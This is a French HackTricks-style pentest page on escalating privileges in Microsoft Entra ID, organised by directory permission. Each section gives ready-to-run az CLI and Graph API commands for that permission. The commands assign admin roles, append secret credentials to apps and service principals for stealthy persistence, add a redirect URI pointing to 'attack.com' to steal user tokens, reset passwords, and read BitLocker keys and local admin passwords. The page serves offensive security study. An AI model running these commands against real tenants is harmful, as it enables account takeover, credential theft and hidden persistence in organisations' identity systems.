# Az - EntraID Privesc

{{#include ../../../../banners/hacktricks-training.md}}

> [!NOTE]
> Notez que **toutes les autorisations granulaires** des rôles intégrés dans Entra ID **ne sont pas éligibles pour être utilisées dans des rôles personnalisés.**

## Rôles

### Rôle : Administrateur de rôle privilégié <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>

Ce rôle contient les autorisations granulaires nécessaires pour pouvoir attribuer des rôles à des principaux et pour donner plus d'autorisations aux rôles. Les deux actions pourraient être abusées pour escalader les privilèges.

- Attribuer un rôle à un utilisateur :
```bash
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
```
- Ajouter plus de permissions à un rôle :
```bash
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'
```
## Applications

### `microsoft.directory/applications/credentials/update`

Cela permet à un attaquant d'**ajouter des identifiants** (mots de passe ou certificats) à des applications existantes. Si l'application a des autorisations privilégiées, l'attaquant peut s'authentifier en tant que cette application et obtenir ces privilèges.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`

Cela permet les mêmes actions que `applications/credentials/update`, mais limitées aux applications à répertoire unique.
```bash
az ad app credential reset --id <appId> --append
```
### `microsoft.directory/applications/owners/update`

En s'ajoutant en tant que propriétaire, un attaquant peut manipuler l'application, y compris les identifiants et les autorisations.
```bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>
```
### `microsoft.directory/applications/allProperties/update`

Un attaquant peut ajouter une URI de redirection aux applications utilisées par les utilisateurs du locataire, puis partager avec eux des URL de connexion qui utilisent la nouvelle URL de redirection afin de voler leurs jetons. Notez que si l'utilisateur était déjà connecté à l'application, l'authentification sera automatique sans que l'utilisateur ait besoin d'accepter quoi que ce soit.

Notez qu'il est également possible de modifier les autorisations demandées par l'application afin d'obtenir plus d'autorisations, mais dans ce cas, l'utilisateur devra accepter à nouveau l'invite demandant toutes les autorisations.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
```
## Principaux Services

### `microsoft.directory/servicePrincipals/credentials/update`

Cela permet à un attaquant d'ajouter des identifiants à des principaux services existants. Si le principal service a des privilèges élevés, l'attaquant peut assumer ces privilèges.
```bash
az ad sp credential reset --id <sp-id> --append
```
> [!CAUTION]
> Le nouveau mot de passe généré n'apparaîtra pas dans la console web, donc cela pourrait être un moyen furtif de maintenir la persistance sur un principal de service.\
> À partir de l'API, ils peuvent être trouvés avec : `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`

Si vous obtenez l'erreur `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, c'est parce que **il n'est pas possible de modifier la propriété passwordCredentials** du SP et vous devez d'abord le déverrouiller. Pour cela, vous avez besoin d'une autorisation (`microsoft.directory/applications/allProperties/update`) qui vous permet d'exécuter :
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`

Cela permet à un attaquant d'ajouter des identifiants à des services principaux existants. Si le service principal a des privilèges élevés, l'attaquant peut assumer ces privilèges.
```bash
az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`

Semblable aux applications, cette autorisation permet d'ajouter d'autres propriétaires à un principal de service. Posséder un principal de service permet de contrôler ses identifiants et ses autorisations.
```bash
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>
```
> [!CAUTION]
> Après avoir ajouté un nouveau propriétaire, j'ai essayé de le supprimer mais l'API a répondu que la méthode DELETE n'était pas supportée, même si c'est la méthode que vous devez utiliser pour supprimer le propriétaire. Donc, vous **ne pouvez pas supprimer les propriétaires de nos jours**.

### `microsoft.directory/servicePrincipals/disable` et `enable`

Ces permissions permettent de désactiver et d'activer des principaux de service. Un attaquant pourrait utiliser cette permission pour activer un principal de service auquel il pourrait accéder d'une manière ou d'une autre pour escalader les privilèges.

Notez que pour cette technique, l'attaquant aura besoin de plus de permissions afin de prendre le contrôle du principal de service activé.
```bash
bashCopy code# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`

Ces autorisations permettent de créer et d'obtenir des identifiants pour le single sign-on, ce qui pourrait permettre l'accès à des applications tierces.
```bash
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
```
---

## Groupes

### `microsoft.directory/groups/allProperties/update`

Cette permission permet d'ajouter des utilisateurs à des groupes privilégiés, entraînant une élévation de privilèges.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
**Remarque**: Cette autorisation exclut les groupes assignables de rôle Entra ID.

### `microsoft.directory/groups/owners/update`

Cette autorisation permet de devenir propriétaire de groupes. Un propriétaire de groupe peut contrôler l'appartenance et les paramètres du groupe, ce qui peut potentiellement entraîner une élévation des privilèges au sein du groupe.
```bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
```
**Remarque**: Cette autorisation exclut les groupes assignables de rôle Entra ID.

### `microsoft.directory/groups/members/update`

Cette autorisation permet d'ajouter des membres à un groupe. Un attaquant pourrait s'ajouter ou ajouter des comptes malveillants à des groupes privilégiés, ce qui peut accorder un accès élevé.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`

Cette permission permet de mettre à jour la règle d'appartenance dans un groupe dynamique. Un attaquant pourrait modifier les règles dynamiques pour s'inclure dans des groupes privilégiés sans ajout explicite.
```bash
groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'
```
**Remarque** : Cette autorisation exclut les groupes assignables de rôle Entra ID.

### Privesc des groupes dynamiques

Il pourrait être possible pour les utilisateurs d'escalader des privilèges en modifiant leurs propres propriétés pour être ajoutés en tant que membres de groupes dynamiques. Pour plus d'infos, consultez :

{{#ref}}
dynamic-groups.md
{{#endref}}

## Utilisateurs

### `microsoft.directory/users/password/update`

Cette autorisation permet de réinitialiser le mot de passe des utilisateurs non administrateurs, permettant à un attaquant potentiel d'escalader des privilèges vers d'autres utilisateurs. Cette autorisation ne peut pas être assignée à des rôles personnalisés.
```bash
az ad user update --id <user-id> --password "kweoifuh.234"
```
### `microsoft.directory/users/basic/update`

Ce privilège permet de modifier les propriétés de l'utilisateur. Il est courant de trouver des groupes dynamiques qui ajoutent des utilisateurs en fonction des valeurs des propriétés, par conséquent, cette autorisation pourrait permettre à un utilisateur de définir la valeur de propriété nécessaire pour être membre d'un groupe dynamique spécifique et d'escalader les privilèges.
```bash
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
```
## Politiques d'accès conditionnel et contournement de MFA

Des politiques d'accès conditionnel mal configurées nécessitant MFA pourraient être contournées, vérifiez :

{{#ref}}
az-conditional-access-policies-mfa-bypass.md
{{#endref}}

## Appareils

### `microsoft.directory/devices/registeredOwners/update`

Cette autorisation permet aux attaquants de se désigner comme propriétaires d'appareils pour obtenir le contrôle ou l'accès aux paramètres et données spécifiques à l'appareil.
```bash
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
```
### `microsoft.directory/devices/registeredUsers/update`

Cette permission permet aux attaquants d'associer leur compte à des appareils pour obtenir un accès ou contourner les politiques de sécurité.
```bash
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
```
### `microsoft.directory/deviceLocalCredentials/password/read`

Cette autorisation permet aux attaquants de lire les propriétés des informations d'identification du compte administrateur local sauvegardé pour les appareils joints à Microsoft Entra, y compris le mot de passe.
```bash
# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
```
## BitlockerKeys

### `microsoft.directory/bitlockerKeys/key/read`

Cette permission permet d'accéder aux clés BitLocker, ce qui pourrait permettre à un attaquant de déchiffrer des disques, compromettant ainsi la confidentialité des données.
```bash
# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
```
## Autres autorisations intéressantes (TODO)

- `microsoft.directory/applications/permissions/update`
- `microsoft.directory/servicePrincipals/permissions/update`
- `microsoft.directory/applications.myOrganization/allProperties/update`
- `microsoft.directory/applications/allProperties/update`
- `microsoft.directory/servicePrincipals/appRoleAssignedTo/update`
- `microsoft.directory/applications/appRoles/update`
- `microsoft.directory/applications.myOrganization/permissions/update`

{{#include ../../../../banners/hacktricks-training.md}}
